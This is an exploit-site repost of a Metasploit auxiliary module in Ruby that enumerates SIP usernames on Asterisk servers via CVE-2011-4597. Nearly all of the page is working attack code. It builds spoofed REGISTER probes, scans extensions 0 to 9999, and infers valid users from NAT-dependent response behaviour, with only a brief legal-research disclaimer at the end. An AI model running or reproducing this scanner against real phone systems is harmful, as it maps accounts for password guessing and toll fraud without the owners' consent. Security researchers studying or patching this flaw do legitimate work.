Advertisement






SIP Username Enumerator For Asterisk

CVE Category Price Severity
CVE-2011-4597 CWE-200 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2011-12-27
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2011120056

Below is a copy:

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name'        => 'SIP Username Enumerator for Asterisk (UDP) Security Advisory AST-2011-013, CVE-2011-4597',
'Version'     => '$Revision: 1 $',
'Description' => 'REGISTER scan for numeric peer usernames having a nat setting different to global sip nat setting. ' <<
'Works even when alwaysauthreject=yes. For this exploit to work, the source port cannot be 5060. ' <<
'For more details see Asterisk Project Security Advisory - AST-2011-013',
'Author'      => 'Ben Williams',
'License'     => MSF_LICENSE
)

register_options(
[
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
OptInt.new('MINEXT',   [true, 'Starting extension',0]),
OptInt.new('MAXEXT',   [true, 'Ending extension', 9999]),
OptInt.new('PADLEN',   [true, 'Cero padding maximum length', 4]),
Opt::RPORT(5060),
Opt::CHOST,
Opt::CPORT(5070)    # Source port must *not* be 5060 for this exploit to work.
], self.class)
end


# Define our batch size
def run_batch_size
datastore['BATCHSIZE'].to_i
end

# Operate on an entire batch of hosts at once
def run_batch(batch)

begin
udp_sock = udp_sock_5060 = recv_sock = nil
idx = 0
global_nat = ''


# SIP responses are either sent back to our source port or to 5060
# so we need to have two sockets.

# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create(
{
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => datastore['CPORT'].to_i,
'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
}
)
add_socket(udp_sock)

udp_sock_5060 = Rex::Socket::Udp.create(
{
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => 5060,
'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
}
)
add_socket(udp_sock_5060)

mini = datastore['MINEXT']
maxi = datastore['MAXEXT']


batch.each do |ip|
# First create a probe for a nonexistent user to test what the global nat setting is.
# If the response arrives back on the same socket, then global nat=yes, 
# and the scanner will proceed to find devices that have nat=no.
# If the response arrives back on 5060, then global nat=no (default),
# and the scanner will proceed to find devices that have nat=yes.
data = create_probe(ip,"thisusercantexist")
begin
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end
 
r = udp_sock.recvfrom(65535, 1)  # returns [data,host,port]
if r[1]
global_nat = "yes"
else
r = udp_sock_5060.recvfrom(65535, 1)
if r[1]
global_nat = "no"
end
end

if global_nat == ''
print_error("No response from server for initial test probe.")
return
else
print_status("Asterisk appears to have global nat=#{global_nat}.")
end

recv_sock = (global_nat == "no") ? udp_sock : udp_sock_5060

for i in (mini..maxi)
testext = padnum(i,datastore['PADLEN'])

data = create_probe(ip,testext)

begin
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end

if (idx % 10 == 0)
while (r = recv_sock.recvfrom(65535, 0.02) and r[1])
parse_reply(r)
end
end

idx += 1
end
end

while (r = recv_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end

rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
udp_sock.close if udp_sock
udp_sock_5060.close if udp_sock_5060
end
end

#
# The response parsers
#
def parse_reply(pkt)

return if not pkt[1]

if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end

resp  = pkt[0].split(/\s+/)[1]
return if resp == '100'  # ignore provisional responses, we will get a 401 next packet.

rhost,rport = pkt[1], pkt[2]

if(pkt[0] =~ /^To\:\s*(.*)$/i)
testn = "#{$1.strip}".split(';')[0]
end

print_status("Found user: #{testn} [Auth]")
#Add Report
report_note(
:host=> rhost,
:proto => 'udp',
:sname=> 'sip',
:port=> rport,
:type=> "Found user: #{testn} [Auth]",
:data=> "Found user: #{testn} [Auth]"
)
end

def create_probe(ip,toext)
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
shost = Rex::Socket.source_address(ip)

data  = "REGISTER sip:#{toext}@#{ip} SIP/2.0\r\n"
data << "Via: SIP/2.0/UDP #{shost};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
data << "From: #{toext} <sip:#{suser}@#{shost}>;tag=70c00e8c\r\n"
data << "To: #{toext} <sip:#{toext}@#{ip}>\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
data << "CSeq: 101 REGISTER\r\n"
data << "Contact: <sip:#{suser}@#{shost}>\r\n"
data << "Content-Length: 0\r\n"
data << "Max-Forwards: 20\r\n"
end

def padnum(num,padding)
if padding >= num.to_s.length
('0'*(padding-num.to_s.length)) << num.to_s
end
end
end


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum